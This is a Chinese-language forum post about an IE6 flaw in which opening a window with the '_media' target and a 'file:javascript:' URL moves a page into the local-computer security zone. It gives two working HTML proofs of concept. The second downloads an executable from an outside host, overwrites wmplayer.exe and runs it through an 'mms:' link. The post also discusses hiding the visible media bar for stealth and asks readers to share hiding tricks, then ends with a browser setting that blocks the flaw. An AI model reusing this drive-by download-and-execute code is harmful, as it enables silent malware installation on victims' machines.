这个漏洞只有IE6.0及以上版本才有。因为从IE6开始支持类似下面的java script:window.open("http://ip/";,"_media"); 问题主要出在这里。
以下所有代码均在XP+WMP8.0+IE6.01+IIS6.0环境测试通过。 其中xp和IE已由windows update更新截止到发贴时的微软补丁。(但还是有漏洞)
先看下面这段代码: <html> <body> <textarea id="code" style="display:none"> var s=new ActiveXObject(\"ADODB.Stream\");s.Type=2;s.Open();s.WriteText(\"ie bug test ok\");s.SaveToFile(\"c:\\\\bugtest.txt\",1); </textarea> <!注意,textarea中不换行> <script> url="file:java script:eval(decodeURI(\""+document.all.code.value+"\"))" //注意,论坛自动在"javascript"中插入空格 window.open(url,"_media"); //主要关注这一句 </script> write a file bugtest.txt to c: </body> </html>
将代码保存为ie6bug.htm,然后本地用IE打开。 结果在c盘生成一个名为bugtest.txt的文件,而打开的IE窗口多了一个“媒体栏”。 将ie6bug.htm放到IIS里,通过http://ip/ie6bug.htm访问,漏洞仍然有效。 是不是觉得有些“恐怖”了。
如果把window.open(url,"_media")改为window.open(url),则会有安全警告“此计算机上的安全设置禁止访问其他域的数据源”。 这是在预料中的。不管是本地打开html文件还是访问web时,IE的“域环境”都是“Internet”。一般情况下只能读写IE缓存等少数几个地方。 但微软似乎犯了个错误,当新窗口启用“媒体栏”时,“域环境”变成了“我的电脑”,即本地域。 单独执行window.open("about :blank","_media");就可以在IE状态栏看到这个变化。
然而,并不全是"_media"的错。如果去掉url中的"file:",在本地打开没问题。 但作为网页远程访问时,会警告“没有权限”。 至于为什么"_media"+"file:"会造成“域环境”变化,我不知道。
顺便说一下,用"_search"代替"_media"不会产生漏洞。
能够任意写程序到本地后,接着就是让程序运行了。 漏洞介绍中用的办法是:下载恶意程序覆盖wmplayer.exe,然后location.href="mms:"; 这样,在windows文件保护起效前调用wmplayer.exe,恶意程序就执行了。 也可以替换telnet.exe,用location.href="telnet:"执行。 道理很简单,但要有实用价值还要解决“隐蔽性”问题。
当target="_media"时,总会出现“媒体栏”,即使使用<iframe>、<frame>等“框住”: <iframe src="url" target="_media" height="1" width="1"></iframe>
先打开一个新窗口,再window.open(url,"_media"),然后关闭窗口也不行。 父窗口和子窗口都会出现“媒体栏”。子窗口可以被关闭,但父窗口不行。
用showModalDialog代替open还是不行。
试了很多办法都不能隐藏“媒体栏”。 漏洞介绍中使用的方法是: 先window.open(url,"_media")再window.open("error.jsp","_media") 通过访问error.jsp返回一个错误,这样“媒体栏”就消失了。 这个办法我测试不成功,因为打了补丁。 但微软的补丁似乎只是让返回错误时,“媒体栏”不消失。可是“域环境”变化仍然发生,所以漏洞仍然存在。 事实上,只要恶意程序能被运行,那么查找新窗口名并关闭它,然后开个正常的,这样就比较隐蔽了。 对于xp,同类窗口集合在一个任务栏窗口。所以窗口数变化并不明显。
谁找到好的隐藏办法,请共享一下吧。
我把漏洞介绍中的代码修改了一下,去掉消除“媒体栏”的功能(因为打了补丁就没用了)。
<html> <body> <textarea id="code" style="display:none"> var h=new ActiveXObject("Microsoft.XMLHTTP"); h.open("GET","http://www.sometips.com/soft/msconfig.exe";,false); h.send(); var s=new ActiveXObject("ADODB.Stream"); s.type=1; s.open(); s.write(h.Responsebody); s.savetofile("c:\\program files\\windows media player\\wmplayer.exe",2); s.close; location.href="mms:"; </textarea> <script> var url=document.all.code.value; url=url.replace(/\r\n/g,""); url=url.replace(/\\/g,"\\\\"); url=url.replace(/\"/g,"\\\""); url=url.replace(/\//g,"%2f"); window.open("file:java script:eval(decodeURI(\""+url+"\"))","_media"); //注意,论坛自动在"javascript"中插入空格 </script> ie6 bug test. </body> </html>
测试代码前,请先备份wmplayer.exe。虽然windows文件保护会恢复它,但以防万一。 执行结果是运行了程序:英文版msconfig.exe。 程序是从sometips下载的,大小101k。如果网速慢,代码页打开也较慢。 如果WFP恢复文件时,msconfig正在运行,会在windows media player目录下生成一个tmp文件,其实它就是msconfig.exe。
堵住漏洞的办法很简单:IE-》工具-》Internet选项-》高级-》多媒体:"不在媒体栏显示联机媒体内容",选上它就可以了。 大家赶紧设置好,免得又中了XX“黑客”网站的招。
|